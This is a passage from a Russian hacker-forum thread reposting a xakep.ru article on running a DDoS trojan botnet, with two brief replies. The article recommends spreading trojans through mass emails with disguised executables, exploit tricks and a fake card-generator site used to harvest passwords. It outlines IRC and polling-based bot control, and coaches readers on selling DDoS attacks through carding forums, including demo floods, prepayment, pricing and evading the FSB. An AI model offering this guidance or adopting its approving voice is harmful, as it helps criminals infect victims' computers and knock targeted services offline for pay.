ним, нельзя было достучаться ни до ssh, ни до web-сервера. И тут я стал заложником собственной армии – дело в том, что я не мог отменить команду, пока не достучусь до веб-сервера :). Пришлось ждать добрые полчаса, пока сами боты не смогут обновить команду и перейдут в режим ожидания. Надо сказать, после этого опыта я еще раз убедился в справедливости слов, что не стоит рубить сук, на котором сидишь. Суммарный трафик на icmp-счетчике моей машины составил примерно 170 метров и, можно сказать, я сполна ощутил экономический ущерб DDoS-атак :). Вот так вот. Не шали.

    Другие способы впаривания троянов

    Помимо использования разнообразных сплойтов для IE, остаются актуальными и другие способы для впаривания троянов. Например, можно устроить социально-инженерную рассылку по нескольким миллионам адресов, призывая запустить скорее екзешник из аттача, чтобы увидеть фотографии белокурой Насти на летнем отдыхе. Так же, разумеется, можно воспользоваться технологией folder sploit, о которой NSD писал в одном из предыдущих номеров Х,- это заметно повысит эффективность твоих рассылок. Так же, что бы не говорили, спрос на генераторы карт bee+ все никак не уменьшится. В свое время при помощи *****ьного сайта, все усилия по раскрутке которого заключались в том, что я зарегал его в поисковике, я получал примерно 10 новых диалап-паролей в день. Так что же мешает заняться этим и сейчас, впаривая DDoS-троянов?

    Схемы управления троянами

    Самые первые трояны банально открывали локальный порт и ждали входящих соединений – при этом хозяин трояна подключатся к серверной части и делал свое злое дело. Но такой подход уже давно не жизнеспособен. Суди сам: большая часть пользователей спрятана за провайдерским файрволом и плюс к тому часто использует “серые” ip, которые натятся в инет шлюзом провайдера. Разумеется, такой подход плюс ко всему еще и дико неудобный. Ну представь: ты захватил тысячу компьютеров и тебе надо отдать ботам какую-то команду. Понадобиться выполнить тысячу подключений, что создаст кучу геморроя и ненужного трафика. По этой причине такой подход умер в конце девяностых. Какие же есть еще варианты? По мере того, как IRC набирала популярность, многие программеры пришли к следующему решению этой проблемы. Любой троян являлся еще и irc-ботом: подключался к irc-сети, заходил на определенный канал и ждал команды хозяина. Это довольно рационально и удобно: вне зависимости от количества захваченных компьютеров, отдавать команды проще простого, весь трафик берет на себя ircd. Однако и здесь есть куча подводных камней. Ну представь – на irc-сервер подключается тысяча нежданных гостей и заходят на какой-то левый канал. Конечно, это дело сразу попалят бдительные иркопы и закроют канал. Хотя, конечно, никто не мешает тебе попросту поднять собственный irc-сервер :).

    Но самый популярный и рациональный способ заключается в использовании т.н. “реверсивного” подхода. Это когда сервер и клиент как бы меняются местами. В нашем случае троян как раз работает по этой схеме: раз в 30 минут он скачивает из интернета текстовый файлик с некоторой командой и выполняет ее. Таким образом, даже люди с серыми ip будут под нашим контролем, а файл с командой можно разместить где угодно, на самом левом бесплатном хостинге – это совсем неважно.

    Как на этом можно заработать?

    DDoS – очень прибыльное занятие. На моей памяти есть случаи, когда за качественно выполненную работу заказчик предлагал несколько тысяч долларов. Разумеется, тут надо быть очень осторожным: следить, чтобы тебя не попалили офицеры ФСБ, не кинули недобросовестные засранцы и чтобы армия ботов работала четко и слаженно, оставляя вражеский сегмент не у дел, а заказчика – довольным и щедрым. Как только у тебя появится достаточный опыт в этом деле и соответствующие связи, проблем с заказами не будет. Более того, ты всегда сможешь найти себе работенку на специальных форумах – например, на одном из кардерских сайтов. Обычно заказчик перед выполнением заказа просит продемонстрировать мощность твоей армии на каком-то хосте непродолжительным флудом. И если его все устраивает, он видит, что ты в состоянии выполнить его заказ, он делает тебе предоплату и наслаждается результатом. Это обычная и стандартная схема. Сколько брать за работу? Здесь все очень сильно зависит от заказчика, твоего чутья и умения общаться с людьми. Понятие “новичок без портфолио” здесь отсутствует как таковое – твои возможности легко проверяются заказчиком на любом сервере. Поэтому важно чувствовать, сколько готов отдать твой клиент. Разумеется, лучше завалить 10 сайтов, получив с каждого по 300 долларов, чем один – за тысячу. Так что тут, как и везде, надо иметь голову и знать меру. Однако надо понимать, что договориться и сбить цену ты всегда успеешь, а вот поднять ее от первоначального уровня уже не получится.

    //by www.xakep.ru
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  3. #3
    Ветеран $pieler Трогаюсь $pieler Трогаюсь $pieler Трогаюсь $pieler Трогаюсь $pieler Трогаюсь $pieler Трогаюсь $pieler Трогаюсь $pieler Трогаюсь $pieler Трогаюсь Аватар для $pieler
    Регистрация
    17.03.2005
    Возраст
    35
    Сообщений
    1,125
    Поблагодарил(а)
    170
    Получено благодарностей: 216 (сообщений: 132).

    По умолчанию

    Оффтоп:

    Я думаю "как на этом можно заработать" нужно стереть, т.к. это наводит на всякие нехорошие мысли.....

  4. #4
    Почти гений Mozart Набираю обороты Mozart Набираю обороты Mozart Набираю обороты Mozart Набираю обороты Mozart Набираю обороты Mozart Набираю обороты Аватар для Mozart
    Регистрация
    08.11.2004
    Сообщений
    1,811
    Поблагодарил(а)
    27
    Получено благодарностей: 388 (сообщений: 251).

    По умолчанию

    по мне так вполне интересно и позновательно...я так понял сибирьтелекомовцы ранеьше юзали ICMP...

+ Ответить в теме

Информация о теме

Пользователи, просматривающие эту тему

Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)

     

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
Рейтинг@Mail.ru
Администрация сайта не выражает согласия
с высказыванием участников форума и не несет
ответственности за их содержание.

Копирование любого материала возможно только
при наличии ссылки на сайт.